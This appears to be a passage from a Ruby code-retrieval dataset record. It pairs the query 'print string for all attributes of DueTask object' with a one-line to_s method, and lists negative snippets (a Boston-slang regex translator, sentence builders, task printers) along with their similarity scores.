do(an|n'?t) i\\b/i, '\\1o do I') # So do(a)n't I!\n phrase.gsub!(/\\bsouthie\\b/i, 'South Boston') # Southie\n phrase.gsub!(/\\bspa\\b/i, 'convenience store (family-owned, usually)') # spa (let's go get an italian ice!)\n phrase.gsub!(/\\b(co|lode|mega|supah|)?stah\\b/i, 'star') # stah (ben affleck/matt damon, need I say moah?)\n phrase.gsub!(/\\bsuppah?\\b/i, 'dinner') # suppah\n phrase.gsub!(/\\bsweet caroline\\b/i, 'Sweet Caroline (BUM BUM BUM)') # GOOD TIMES NEVER SEEMED SO GOOOODD\n\n # T\n phrase.gsub!(/\\bthe T\\b/i, 'subway') # after this winter, it's a wonder I didn't replace this one with \"unusable death trap\"\n # \"theah\" is covered under \"h\" in the heah substitution\n phrase.gsub!(/\\btah\\b/i, 'to') # tah (ready tah go!)\n phrase.gsub!(/\\btawnic\\b/i, 'tonic (soda)') # get a tawnic outta the fridge foh ya fahtah\n phrase.gsub!(/\\btempasha(h)?\\b/i, 'temperature') # David Epstein says the tempasha should go back up tomarrah.\n phrase.gsub!(/\\b(t)ha\\b/i, '\\1he') # tha\n phrase.gsub!(/thah?\\b/i, 'ther') # brothah, fathah, mothah, etc. (matches on 92 english words ending in \"ther\")\n phrase.gsub!(/\\bthi(h)?d\\b/i, 'third') # stealin' thihd\n phrase.gsub!(/\\bthree deckah?\\b/i, 'three story house') # usually three units\n phrase.gsub!(/(pic|ven|lec|cap|adven|sculp|frac|scrip|punc|conjec|rap)sha/i, '\\1ture') # sha sound on end of certain \"ture\" ending words\n\n # U\n phrase.gsub!(/(u)ndah/i, '\\1nder') # undah (including all the words it is a prefix of like undahweah, undahcovah, undahahm, plus bonus containing words like thunder)\n phrase.gsub!(/\\b(u)ey\\b/i, '\\1-turn') # U-turn\n\n # V\n phrase.gsub!(/\\b(v)endah(s)\\b/i, '\\1endor') # vendah(s) (fenway franks, anybody?)\n phrase.gsub!(/\\bvin(yihd|yahd)\\b/i, 'Martha\\'s Vineyard') # mahtha's vinyihd\n phrase.gsub!(/\\b(fahv|fehv|flav|sav|surviv)ah\\b/i, '\\1or') # \"vah\" words that are \"vor\"\n\n # W\n phrase.gsub!(/\\b(w)atah\\b/i, '\\1ater') # watah (as in \"love that dirty\")\n phrase.gsub!(/\\bwah\\b/i, 'war') # wah\n phrase.gsub!(/\\bWal(ltham|thumb)\\b/i, 'Waltham') # home of Brandeis\n phrase.gsub!(/\\bwanna go\\?\\b/i, 'let\\'s fight outside') # wanna go?\n phrase.gsub!(/\\b(w)e(eahd|eid|ahd|eihd)\\b/i, '\\1eird') # weeid\n # wheah is covered under \"t\"...theah/wheah (as in, dude wheah's my car...oh, under a snowbank where I left it in January 2015!)\n phrase.gsub!(/\\bwhole nothah?\\b/i, 'a complete replacement') # I gotta whole notha cah\n phrase.gsub!(/\\bweah\\b/i, 'were') # wheah weah ya?\n phrase.gsub!(/\\b(w)eathah\\b/i, '\\1eather') # wetheah (some weah havin!)\n phrase.gsub!(/\\bwicked\\b/i, 'really') # wicked (wicked weeid kid)\n phrase.gsub!(/\\bwuhst(u|a)h\\b/i, 'Worcester') # Worcester\n\n # X\n\n # Y\n phrase.gsub!(/\\b(y)a\\b/i, '\\1ou') # ya goin to the game?\n phrase.gsub!(/\\b(y)ar(?=\\s?i)/i, '\\1eah ') # yarit's awesome -> yeah it's awesome\n phrase.gsub!(/\\b(y)oah\\b/i, '\\1our') # yoah\n\n # Z\n\n # Last, we're gonna do some broad pickoffs for general sounds common to the Boston accent.\n # This will help translate commonly used words and broadly applicable use-cases. They are\n # a little dangerous without the targeted gsubs above, but with them in place as a filter for\n # uncommon/edge cases, you should get good results.\n\n phrase.gsub!(/atah(s)?\\b/i, 'ator\\1') # \"atah\" (words ending in \"ator\"...decoratah, delegatah)\n phrase.gsub!(/(a)wl(l)?/i, '\\1l\\2') # \"awl\" (going to the mawll, fawllin' down, cawll ya mothah etc)\n phrase.gsub!(/bah(s)?\\b/i, 'ber\\1') # \"bah\" (words ending in bah...bahbah). Works b/c only 30ish words in English end in ber, & targeted gsubs are used above for them.\n phrase.gsub!(/cah(s)?\\b/i, 'cer\\1') # \"cah\" (words ending in cer are more common than car or cor, targeted gsubs for the latter two are above)\n phrase.gsub!(/dah(s)?\\b/i, 'der\\1') # \"dah\" (words ending in dah...chowdah?).\n phrase.gsub!(/eah(s)?\\b/i, 'ear\\1') # \"eah\" (words ending in eah...yeah, cleah)\n phrase.gsub!(/fah(s)?\\b/i, 'fer\\1') # \"fah\" (words ending in fer...offah?).\n phrase.gsub!(/gah(s)?\\b/i, 'ger\\1') # \"gah\" (words ending in ger...swaggah?).\n phrase.gsub!(/ha(h)?(s)?\\b/i, 'her\\2') # \"gah\" (words ending in ger...swaggah?).\n phrase.gsub!(/iah(d)?/i, 'ire\\1') # \"iahd\" (words ending in ire...tiahd, wiahd or ired...fiahd)\n phrase.gsub!(/in'(?=\\z|\\s)/i, 'ing') # \"in'\" (words ending in ing...bring back the g!).\n phrase.gsub!(/kah(s)?\\b/i, 'ker\\1') # \"kah\" (words ending in ker...smokah)\n phrase.gsub!(/lah(s)?\\b/i, 'lar\\1') # \"lah\" (words ending in lar...molah, pillah)\n phrase.gsub!(/mah(s)?\\b/i, 'mer\\1') # \"mah\" (words ending in mer...swimmah, homah)\n phrase.gsub!(/nah(s)?\\b/i, 'ner\\1') # \"nah\" (words ending in ner...gonah, runnah)\n phrase.gsub!(/layah(s)?\\b/i, 'lare\\1') # \"layah\" (words ending in lare..flayah, declayah)\n phrase.gsub!(/(o)ah(s)?/i, '\\1re\\2') # \"oah\" (stoah, moah)\n phrase.gsub!(/pah(s)?\\b/i, 'per\\1') # \"pah\" (words ending in \"pah\"...helpah, peppah, whispah, developah...which I am totally going to be after I win this contest and become...a launchah!)\n phrase.gsub!(/sah(s)?\\b/i, 'ser\\1') # \"sah\" (words ending in ser...think about ya usah in the browsah)\n phrase.gsub!(/tah(s)?\\b/i, 'ter\\1') # \"tah\" (words ending in ter...watah)\n phrase.gsub!(/uahd(s)?\\b/i, 'ured\\1') # \"uahd\" (words ending in ured...figuahd, injuahd)\n phrase.gsub!(/vah(s)?\\b/i, 'ver\\1') # \"vah\" (words ending in ver...ovah, rivah)\n phrase.gsub!(/wah(s)?\\b/i, 'wer\\1') # \"wah\" (words ending in wer...lawnmowah, towah)\n phrase.gsub!(/xah(s)?\\b/i, 'xer\\1') # \"xah\" (words ending in xer...boxah, mixah)\n phrase.gsub!(/yah(s)?\\b/i, 'yer\\1') # \"yah\" (words ending in yer...foyah, lawyah)\n phrase.gsub!(/zah(s)?\\b/i, 'zer\\1') # \"zah\" (words ending in zer...organizah, seltzah)\n\n phrase.gsub!(/aw/i, 'o') # this one is super broad...tawnic/gawd/etc\n phrase.gsub!(/ah(?!\\b)+/, 'ar') # this one should always run last because it's so broad, but it will clean and cover a ton more cases than can be thought up individually\n\n\n # Finally, there is some stuff we just will NOT abide by in the Beantown Translation Machine.\n\n phrase.gsub!(/\\b(A-Rod|Eli Manning|Peyton Manning|the Jets|Bill Buckner|snow|disabled train|severe delays in service|parking ban|commuter rail)\\b/i, '[REDACTED]') # Redact it like the FBI releasing an embarrassing document, okay?\n phrase.gsub!(/\\bYankees\\b/i, 'Yankees (suck!)') # Yankees suck okay?\n phrase.gsub!(/\\bJohnny Damon\\b/i, 'He who shall not be named') # Looks like Jesus, talks like Judas, throws like...someone who can't throw because that's just rude to Mary.\n\n puts \"They said: \" + phrase\n\n # Special \"How Boston Are YOU?\" Beantown Points score for experts! Only shows up for users who earn at least two points.\n\n if beantown_points >= 15\n \tputs \"How Boston Are YOU?: WICKED LEGIT! Ah you from Reveah, kid?! You're as Boston as baked beans and clam chowdah without tomatoes. Hit up that packie, it's time for a toast!\"\n elsif beantown_points < 15 && beantown_points >= 10\n \tputs \"How Boston Are YOU?: Solid work! You probably yell \\\"Yankees Suck\\\" at sporting events where the Yankees aren't even playing. You drink your watah from a bubblah. We salute you.\"\n elsif beantown_points < 10 && beantown_points >= 5\n \tputs \"How Boston Are YOU?: Alright, now we're getting somewhere. This is pretty Boston, we'll admit. Just don't try to pahk ya cah in Hahvahd Yahd, or you'll get towed, alright?\"\n elsif beantown_points >=2 && beantown_points < 5\n \tputs \"How Boston are YOU?: Solid effort, but you need to hit the Pike and go back wheah ya came from, kid.\"\n end\n\n play_again\n\nend",
"def Text2Words(txt, len, where, offset)\n txt.each do |words|\n print \" { { \" \n words.each do |word|\n if word==\"ET\" then\n pos = where.index(\"TERTAUQ\")\n else\n pos = where.index(word.reverse) || where.index(word) \n end\n print \" { %3d, %2d }, \" % [pos+offset, word.length ]\n end\n (len - words.length).times do\n print \" { %3d, %2d }, \" % [0, 0 ]\n end\n puts \" } }, // \" + words.join(\" \")\n end\nend",
"def sentence_maker(array)\n\tsentence = array[0].capitalize.to_s\n\ti = 1\n\twhile i < array.length\n\t\tsentence = sentence + \" \" + array[i].to_s\n\t\ti += 1\n\tend\n\tsentence = sentence + \".\"\n\tp sentence\n\nend",
"def sentence_maker(array)\n\tlength = array.length\n\tsum = array[0].to_s.capitalize!\n\tfor i in 1...length\n\t\tsum = sum + \" \" + array[i].to_s\n\tend\n \tsum + \".\"\nend",
"def make_a_sentence(words)\n words.join(' ') + \"!\"\nend",
"def yell_sentence(sent)\n # yell = sent.split(\" \")\n # yell = yell.map { |char| char.upcase + \"!\" }\n # return yell.join(\" \")\n return sent.split.map { |char| char.upcase + \"!\" }.join(\" \")\nend",
"def sentence_maker(array)\n\tanswer=\"\"\n\tarray[0]=array[0].capitalize\n\tarray.each do |x|\n\t\tx=x.to_s\n\t\tanswer+=x+\" \"\n\tend\t\n\tanswer=answer.chop+\".\"\n\treturn answer\nend",
"def sentence_maker(variable)\n\treturn variable.inject{|sentence, x| sentence + \" \" + x.to_s}.lstrip.capitalize + \".\"\nend"
] |
[
"0.8855691",
"0.70719296",
"0.70076495",
"0.7005185",
"0.6995376",
"0.69695127",
"0.68714696",
"0.6835763",
"0.68160456",
"0.6799819",
"0.6795405",
"0.67920643",
"0.6792004",
"0.67893285",
"0.6781017",
"0.6771953",
"0.6764923",
"0.6727412",
"0.6697308",
"0.66861355",
"0.6660415",
"0.66382277",
"0.6637059",
"0.66330004",
"0.66212237",
"0.65919507",
"0.6587043",
"0.6548463",
"0.6547344",
"0.65398943",
"0.6536017",
"0.65244484",
"0.65219206",
"0.65207434",
"0.6516131",
"0.6480413",
"0.6467052",
"0.6467052",
"0.6467052",
"0.6462294",
"0.64563125",
"0.64398706",
"0.6432844",
"0.64319474",
"0.6413039",
"0.6410966",
"0.6399995",
"0.63895345",
"0.6378322",
"0.63729054",
"0.6359145",
"0.63562405",
"0.6331684",
"0.63075155",
"0.6307008",
"0.62956285",
"0.62830794",
"0.6283057",
"0.62755716",
"0.62739426",
"0.62728673",
"0.6269642",
"0.6269308",
"0.6266217",
"0.62476957",
"0.62428534",
"0.6233818",
"0.62254685",
"0.6220346",
"0.6218717",
"0.6217782",
"0.6216938",
"0.62122846",
"0.62080574",
"0.6200567",
"0.61990863",
"0.61843455",
"0.6182924",
"0.61780304",
"0.6176674",
"0.61730844",
"0.6172964",
"0.61670184",
"0.6164828",
"0.6159197",
"0.6157547",
"0.6147281",
"0.61441153",
"0.61406255",
"0.6139332",
"0.61305916",
"0.61275303",
"0.6126807",
"0.6119027",
"0.61186314",
"0.61165965",
"0.6106927",
"0.61018",
"0.6100406",
"0.609865",
"0.6090864"
] |
0.0
|
-1
|
Purpose: print string for all attributes of DueTask object
|
def to_s
super + " Task is due: #{@due_date.to_s}."
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def print_task()\n puts @task_name\n puts \" Assigned to: #{@assigned_to}\"\n puts \" Priority: #{@priority}\"\n print \" Start Date: #{@date_start.month}/\"\n print \"#{@date_start.day}/\"\n puts \"#{@date_start.year}\"\n print \" End Date: #{@date_end.month}/\"\n print \"#{@date_end.day}/\"\n puts \"#{@date_end.year}\"\n self.get_duration\n end",
"def details\n\t\t\"#{self.title} - #{self.due_date} - #{self.is_completed}\"\n\tend",
"def to_s # Method to display completion status and description of Task\n \"#{represent_status} : #{description}\"\n end",
"def print_item\n return \"Title: #{@title}; Description: #{@description}; Is Done: #{@is_done}; Due Date: #{@due_date}\"\n end",
"def task_details_for_log\n \"Node #{@puppet_mclient.node_id}, task #{@task}, manifest \"\\\n \"#{@puppet_mclient.manifest}\"\n end",
"def to_s\n if completed?\n \"- #{@identifier} -!- #{@estimated_time} -!- #{@priority} -!- #{@completed_at}\\n\"\n else\n \"* #{@identifier} -!- #{@estimated_time} -!- #{@priority}\\n\"\n end\n end",
"def print_item\n return \"Title: #{@title}; Description: #{@description}; Is Done: #{@is_done}\"\n end",
"def print_task(task)\n print \"==> \".info, task.bold, \"\\n\"\nend",
"def printItem\n if @status\n \"Title: \" + @title + \", Description: \" + @description + \", Status: Done, Due Date: \" + @dueDate\n else\n \"Title: \" + @title + \", Description: \" + @description + \", Status: Not Done, Due Date: \" + @dueDate\n end\n end",
"def show\n @tasks.each do |project_name, project_tasks|\n @output.puts project_name\n project_tasks.each do |task|\n @output.printf(\" [%c] %d: %s : %s \\n\", (task.done? ? 'x' : ' '), task.id, task.description, task.deadline)\n end\n @output.puts\n end\n end",
"def dump\n puts\n puts \"WorkFlow '#{ @label }' consists of the following tasks:\"\n @task_list.each{ |t| t.dump }\n puts\n end",
"def display_tasks\n puts \"What do you want to do? \\n\"\n puts TASKS.values\n end",
"def print_out_all_items\n list_header(title)\n to_do_list.each do |item|\n item.print_details\n end\n puts (\"Task list completed #{to_do_list_completed?}\")\n end",
"def details\n puts \"#{@name}, #{@date}\"\n end",
"def print_debug_info\n puts \"Project #{name}:\"\n puts \"\\tState: #{state}\"\n puts \"\\tMan-days total: #{man_days}\"\n puts \"\\tMan-days done: #{man_days_done}\"\n puts \"\\tPrice: #{price}\"\n end",
"def describe(detail=0, indent=0)\n i = ' ' * indent\n lines = [\"#{i}#{name} (#{self.class}) {\"]\n @tasks.each_value { |t|\n lines << t.describe(detail, indent + 2)\n }\n lines << i + \"}\"\n lines.join(\"\\n\")\n end",
"def to_s\n \"ID: #{self.id} - Name: #{self.name} - Due: #{self.due_date.nil? ? 'n/a' : self.due_date} - Tags: #{self.tags.pluck(:name).join(\", \")}\"\n end",
"def to_s\n str = \"Name: #{name}\\n\" \\\n \"Created By: #{creator.name}(#{creator.email})\\n\" \\\n \"Created At: #{created_at.to_s}\\n\" \\\n \"Belongs To: #{task.name}\\n\"\n unless assignee.blank?\n str += \"Assignee: #{assignee.name}(#{assignee.email})\\n\"\n end\n str\n end",
"def exp_task\n\t\texperiments.each do |e|\n\t\t\tif !e.task_desc.nil?\n\t\t\t\te.task_desc + ' '\n\t\t\tend\n\t\tend\n\tend",
"def to_machine # To_machine method to display completion status and description of Task\n \"#{represent_status} : #{description}\"\n end",
"def list_tasks\r\n unless tasks\r\n puts \"No tasks yet. Add one!\"\r\n return\r\n end\r\n # Pretty-format hash and print\r\n print \" \" + \"ITEM\".ljust(30) + \" | \" +\r\n \"WHEN DUE\".ljust(15) + \" | \" +\r\n \"WHEN ADDED\".ljust(15) + \"\\n\"\r\n tasks.each do |task|\r\n print \"<#{tasks.find_index(task) + 1}>\".ljust(5) +\r\n task[:text].ljust(30) + \" | \" +\r\n task[:due].ljust(15) + \" | \" +\r\n task[:time].ljust(15) + \"\\n\"\r\n end\r\n end",
"def dump\n unless @obsolete then\n puts \" WorkFlow task ##{ @id } '#{ @label }':\"\n puts \" #{ @inflows.count{ |f| !f.obsolete }} incoming flows:\"\n @inflows.each_with_index do |f,i|\n puts \" (#{ i }) #{ f.dump_info_from }\" unless f.obsolete\n end\n puts \" #{ @outflows.count{ |f| !f.obsolete }} outgoing flows:\"\n @outflows.each_with_index do |f,i| \n puts \" (#{ i }) #{ f.dump_info_to }\" unless f.obsolete\n end\n end\n end",
"def descriptions\n \n return @detail + \": \" + \"#{@extra_cost}\" + \". \" + @basic_transfer.descriptions\n end",
"def details\n return @description + \": \" +\n @duration.to_s + \" hour for \" +\n @cost.to_s + \" euros.\"\n end",
"def print_tasks completed, tasks, colors\n\t\t\t\tpriority = {\n\t\t\t\t\t0 => \"**\",\n\t\t\t\t\t1 => \"*\",\n\t\t\t\t\t2 => \"\"\n\t\t\t\t}\n\t\t\t\ttasks.each do |task|\n\t\t\t\t\tnext if task[:Completed] == completed\n\t\t\t\t\tprintf \"%2s\".colorize(colors[:magenta]), priority[task[:Priority]]\n\t\t\t\t\tprintf \"%3d. \".to_s.colorize(colors[:yellow]), task[:Task_number]\n\t\t\t\t\tsplit_v = split task[:Name], Config[:width]-7\n\t\t\t\t\tputs split_v[0]\n\t\t\t\t\tsplit_v.shift\n\t\t\t\t\tsplit_v.each do |line|\n\t\t\t\t\t\tprintf \" %s\\n\", \" \" + line\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend",
"def to_s\n status = done? ? \"[X]\" : \"[ ]\"\n \"#{status} \"\\\n \"Name: #{@name} | \"\\\n \"Description: #{@description[0..20]} | \"\\\n \"Prep: #{@prep_time}\"\n end",
"def taskDescription _args\n \"taskDescription _args;\" \n end",
"def print_debug_info\n puts \"Company #{name}, day #{days}:\"\n puts \"\\tState: #{state}\"\n puts \"\\tCurrent cash flow: #{budget}\"\n puts \"\\tDaily expenses: #{daily_expenses}\"\n puts \"\\tCapacity: #{capacity}\"\n puts \"\\tProgrammers: #{programmers.collect { |programmer| programmer.name + \" (\" + programmer.project_name + \")\" }.join(\", \")}\"\n puts \"\\tPROJECTS WAITING: #{projects_waiting.collect { |project| project.name }.join(\", \")}\"\n puts \"\\tPROJECTS CURRENT:\"\n projects_current.each { |project| project.print_debug_info }\n puts \"\\tPROJECTS DONE:\"\n projects_done.each { |project| project.print_debug_info }\n end",
"def details\n return @description + \"; is set to: \" + \"#{@duration}\" + \"hour - at a cost of: \" + \"#{@cost}\"\n end",
"def show # Show tasks method\n all_tasks.map.with_index { |l, i| \"(#{i.next}): #{l}\"} # Show all tasks array in numerical order and whether a task is completed\n end",
"def details\n return @description + \": \" + \"#{@extra_cost}\" + \". \" + @basic_cycle.details\n end",
"def dump_info_to\n \"to task #{ target_task_id } as '#{ status }'#{ ' >obsolete<' if obsolete }\"\n end",
"def print_attribute(*) end",
"def details\n\t\"#{assigned_to} - #{status} - #{start_date} - #{description} - #{location} - #{Client.find(client_id).name}\"\nend",
"def details\n return \"#{@description} : #{@extra_cost}, #{@basic_booking.details}\"\n end",
"def print()\n str = start_date.to_s + \" \" + end_date.to_s + \" \" + comment.to_s\n end",
"def print\n \"#{id}-#{start}-#{duration}-#{body}\"\n end",
"def details\n return @description + \"; \" + @firm + \"; \" + @age + \": \" + \"#{@cost}\"\n end",
"def print_summary\n update_now_date_time\n calc_difference\n puts \"#{DueText.minutes} #{till_or_since}: \\t #{calc_mins_till.round(2)} #{DueText.minutes_suffix} \\n\n #{DueText.hours} #{till_or_since}: \\t #{calc_hours_till.round(2)} #{DueText.hours_suffix} \\n\n #{DueText.days} #{till_or_since}: \\t #{calc_days_till.round(2)} #{DueText.days_suffix} \\n\n #{DueText.weeks} #{till_or_since}: \\t #{calc_weeks_till.round(2)} #{DueText.weeks_suffix} \\n\n #{DueText.months} #{till_or_since}: \\t #{calc_months_till.round(2)} #{DueText.months_suffix} \\n\n #{DueText.years} #{till_or_since}: \\t #{calc_years_till.round(2)} #{DueText.years_suffix}\"\n end",
"def show_tasks\n\t\tputs \"here are the tasks on the #{self.name} list...\"\n\t\t@tasks.map.with_index {|task, i| puts \"#{i.next}. \" + task.description + \" | complete: \" + task.status.to_s}\n\t\tputs \"\\n\"\n\tend",
"def print_tasks_csv(tasks)\n if (tasks.size > 0)\n puts \"Parent Task,Task,Total Duration\"\n tasks.each_key do |key|\n next if (tasks[key].total_duration == 0)\n # If a parent task exists, get its name.\n parent_task = (tasks[key].parent == nil) ? \"none\" :\n tasks[key].parent.name\n duration_mins = (tasks[key].total_duration / 60) \n puts \"#{parent_task},#{tasks[key].name},#{duration_mins}\"\n end\n end\nend",
"def details\n return \" #{@description}, #{@lastname}, #{@date}. #{@start}, #{@hours}, #{@players}, #{@zone}. #{@cost}\"\n end",
"def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Taskrouter.V1.TaskInstance #{values}>\"\n end",
"def details\n return @description + \": \" + \"#{@extra_cost}\" + \". \" + @basic_inst.details\n end",
"def to_displayable_string\n display_id = format(\"%02d\", \"#{id}\")\n display_status = completed ? \"[X]\" : \"[ ]\"\n display_date = due_today? ? nil : due_date\n \"#{display_id}. #{display_status} #{todo_text} #{display_date}\"\n end",
"def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Taskrouter.V1.TaskInstance #{values}>\"\n end",
"def to_displayable_string\n display_status = @is_completed ? \"[X]\" : \"[ ]\"\n display_date = due_today? ? nil : @due_date\n \"#{display_status} #{@text} #{display_date}\"\n end",
"def inspect\n \"<Celluloid::Task:0x#{object_id.to_s(16)} @type=#{@type.inspect}, @running=#{@fiber.alive?}>\"\n end",
"def list_details\n puts \"Name: \" + @name\n puts \"Description: \" + @details\n puts \"Exercise Time: \" + @duration\n end",
"def print_item\n return \"Title: #{@title}; Description: #{@description}; Anniversary Date: #{@month}/#{@day}\"\n end",
"def pt_print\n @task = Task.includes(:assignment).find(params[:task_id])\n @assignment = @task.assignment\n @titles = Title.build_paragraph_title_collection(@task.id,current_user.id)\n end",
"def inspect\n 'Id: ' + @id.to_s +\n ', Expires on: ' + display_expiry_date +\n ', Level: ' + map_number_to_word_level(@level) +\n ', Number of days left to expire: ' + display_num_of_days_left +\n ', Description: ' + @description % self\n end",
"def print_basic_info\n \"Name:#{name}, Occupation:#{occupation}, Sex:#{sex}\"\n end",
"def labels\n return \"Title: #{@title}; Description: #{@desc}; #{@complete}, Due Date: #{@dueDate}\"\n end",
"def details\r\n return @description + \"; \" + @firm + \": \" + \"#{@cost}\"\r\n end",
"def print_details\n puts \"\"\n puts \"#{@fullname}\"\n puts \"---------\" ' '\n puts \"Date of Birth:#{@dob}\"\n \n puts \"\"\n puts \"Email addresses:\"\n @emails.each do |e|\n puts \"- \" + e.to_s\n end \n \n puts \"\"\n puts \"Phone Numbers:\"\n @phone_numbers.each do |n|\n puts \"- \" + n.to_s\n end\n end",
"def inspect\n \"#<#{self.class.name || 'AnonymousClass'} \" + self.class.attribute_names.map do |name|\n val = self.send(name)\n val_display = if val.is_a?(String)\n %Q(\"#{val}\")\n elsif val.nil?\n 'nil'\n elsif val.is_a?(DateTime)\n val.utc.iso8601(3)\n elsif val.is_a?(Enumerable) && val.empty?\n '[]'\n else\n val.to_s\n end\n \"#{name}: #{val_display}\"\n end.join(', ') + '>'\n end",
"def to_s()\r\n\t\tres = \"Printing Statistic -#{self.object_id}-\\n\\t\"\r\n\t\tres += \" - Time : #{@time}\\n\\t\"\r\n\t\tres += \" - Penalty : #{@penalty}\\n\\t\"\r\n\t\tres += \" - isFinished : #{@isFinished}\\n\\t\"\r\n\t\tres += \" - Used help : #{@usedHelp}\\n\\t\"\r\n\t\tres += \" - Nb Stars : #{@numberOfStars}\\n\\t\"\r\n\t\tres += \" - NbClick : #{@nbClick}\\n\\t\"\r\n\t\treturn res\r\n\tend",
"def display_tasks(tasks) # we need the tasks\n # CONTRACT:\n # [x] buy croissants\n # [ ] buy coffee\n tasks.each_with_index do |task, index|\n # if task.done?\n # puts \"[x] #{task.name}\"\n # else\n # puts \"[ ] #{task.name}\"\n # end\n\n status = task.done? ? 'x' : ' '\n puts \"[#{status}] #{index + 1}. #{task.name}\"\n end\n end",
"def print_task_info(task:)\n path = task.files.first['path'].chomp(\"/tasks/#{task.files.first['name']}\")\n module_dir = if path.start_with?(Bolt::Config::Modulepath::MODULES_PATH)\n \"built-in module\"\n else\n path\n end\n @stream.puts task.to_h.merge(module_dir: module_dir).to_json\n end",
"def print_details()\n\t$details.each {|k, v| puts \"#{k}: #{v}\"}\nend",
"def formatted_info\n \"#{self.name} - #{self.description}\"\n end",
"def task_description(id)\n task = @xml.search(\"object[@id='#{id}']\")\n title = task.search(\"attribute[@name='title']\")\n clean(title.innerHTML.to_s)\n end",
"def details\n\t\t\"#{name}---#{status}-----#{start_date}----#{description}---- #{Client.find(client_id).name}---#{Client.find(client_id).email}\"\n\tend",
"def inspect\n details = []\n details << \"<canceled>\" if @coordinator.cancelled?\n\n \"#<#{self.class.name}: #{details.join(\" \")}>\"\n end",
"def description\n\t\"This task scrapes Hoovers for company info.\"\nend",
"def details\n date_hash = {due_date: @due}\n detail_hash = {}\n detail_hash[:description] = format_description(@description)\n detail_hash[:date] = \"due: #{format_date(@type, date_hash)}\"\n detail_hash[:priority] = format_priority(@priority)\n detail_hash[:type] = @type\n detail_hash\n end",
"def to_s\n [@header, @tasks.map(&:to_s), nil].flatten.join(\"\\n\")\n end",
"def name\n\t\t\t@task\n end",
"def details\n return @description + \" extra cost: \" + \"#{@extra_cost}\" + \". \" + @basic_booking.details\n end",
"def details\n return @description + \": \" + \"#{@extra_cost}\" + \". \" + @basic_tran.details\n end",
"def printDone\n doneList = \"\"\n @toDoListArray.each do |e|\n if e.status\n doneList = doneList + e.printItem + \" \"\n end\n end\n doneList\n end",
"def description\n \"This task hits the corpwatch API and adds detail for the organization.\"\nend",
"def details\n return @description + \" Extra cost: \" + \"#{@extra_cost}\" + \". \" + @basic_booking.details\n end",
"def print_out_line\n\t\t\t#p ['id', id, 'ctd', ctd]\n\t\t\t#p rcp.results.zip(rcp.results.map{|r| send(r)})\n\t\t\tname = @run_name\n\t\t\tname += \" (res: #@restart_id)\" if @restart_id\n\t\t\tname += \" real_id: #@real_id\" if @real_id\n\t\t\tbeginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s)\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s)\n\t\t\tif @status == :Incomplete and @completed_timesteps\n\t\t\t\tbeginning += sprintf(\" %d steps \", @completed_timesteps)\n\t\t\telsif @percent_complete\n \t\t\t\tbeginning+=sprintf(\" %3s%1s \", percent_complete, \"%\")\n\t\t\tend\n\t\t\tif ctd\n\t\t\t\t#beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n\t\t\tend\n\t\t\tbeginning += \" ---#{@comment}\" if @comment\n\t\t\tbeginning\n\t\tend",
"def descriptions\n return @detail + \"; \" + @firm + \"; \" + @age + \": \" + \"#{@cost}\"\n end",
"def details\n return \"ID = #{@id}\\n\" + \n \"Name = #{@name}\\n\" + \n \"Topic = #{@topic}\\n\" + \n \"Member Count = #{@member_count}\"\n end",
"def dump_info_from\n \"from task #{ source_task_id } as '#{ status_id }'#{ ' >obsolete<' if obsolete }\"\n end",
"def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Autopilot.V1.TaskStatisticsInstance #{values}>\"\n end",
"def print_details(job)\n printf \"-----------------------------------------------------------------------------------\\n\"\n printf(\"\\nTitle: %<title>s\\n\", title: job.title.to_s)\n printf(\"Department: %<department>s\\n\", department: job.department.to_s)\n printf(\"Application Deadline: %<deadline>s\\n\", deadline: job.app_deadline.to_s)\n printf(\"Salary Range: %<salary>s\\n\", salary: job.salary_range.to_s)\n printf(\"Positions Available: %<avail>s\\n\", avail: job.pos_available.to_s)\n printf(\"Job Category: %<cat>s\\n\", cat: job.category.to_s)\n printf(\"Job Appointment (FTE): %<fte>s\\n\", fte: job.fte.to_s)\n printf(\"Full/Part Time: %<fullpart>s\\n\", fullpart: job.full_part.to_s)\n printf(\"Temporary or Regular: %<tempreg>s\\n\", tempreg: job.temp_reg.to_s)\n printf(\"Posting Start Date: %<date>s\\n\", date: job.start_date.to_s)\n printf(\"Positing End Date: %<date>s\\n\", date: job.end_date.to_s)\n printf(\"Department Contact Name: %<name>s\\n\", name: job.contact_name.to_s)\n printf(\"Department Contact Phone: %<phone>s\\n\", phone: job.contact_phone.to_s)\n printf(\"\\nSummary:\\n %<duties>s\\n\", duties: job.duties_summary.to_s)\n printf(\"\\nRequired Qualifications:\\n %<qual>s\\n\", qual: job.req_qualifications.to_s)\n printf(\"\\nDesired Qualifications:\\n %<qual>s\\n\", qual: job.des_qualifications.to_s)\n end",
"def dump\n result = \"\"\n result += \"#{id}: from => #{user&.login}, \"\n result += \"to => #{to_user&.login}, flavor => #{flavor}, \"\n result += \"queued => #{queued}\\n\"\n queued_email_integers.each { |i| result += \"\\t#{i.key} => #{i.value}\\n\" }\n queued_email_strings.each { |i| result += \"\\t#{i.key} => #{i.value}\\n\" }\n result += \"\\tNote: #{queued_email_note.value}\\n\" if queued_email_note\n result\n end",
"def view_waitlist_people\n str = \"\"\n array = @queue.to_array\n array.each do |order|\n str += order.get_name.to_s + \",\"\n end\n str.chop\n end",
"def print\n puts SEPARATOR\n puts @name\n puts SEPARATOR\n puts @desc\n if(@diagram)\n puts\n puts \"Diagram:\"\n puts\n puts @diagram\n end\n end",
"def inspect\n\t\treturn \"#<%p:%#0x %s (%s) ack: %s, routing: %p, prefetch: %d>\" % [\n\t\t\tself.class,\n\t\t\tself.object_id * 2,\n\t\t\tself.name,\n\t\t\tself.consumer_tag,\n\t\t\tself.acknowledge ? \"yes\" : \"no\",\n\t\t\tself.routing_keys,\n\t\t\tself.prefetch,\n\t\t]\n\tend",
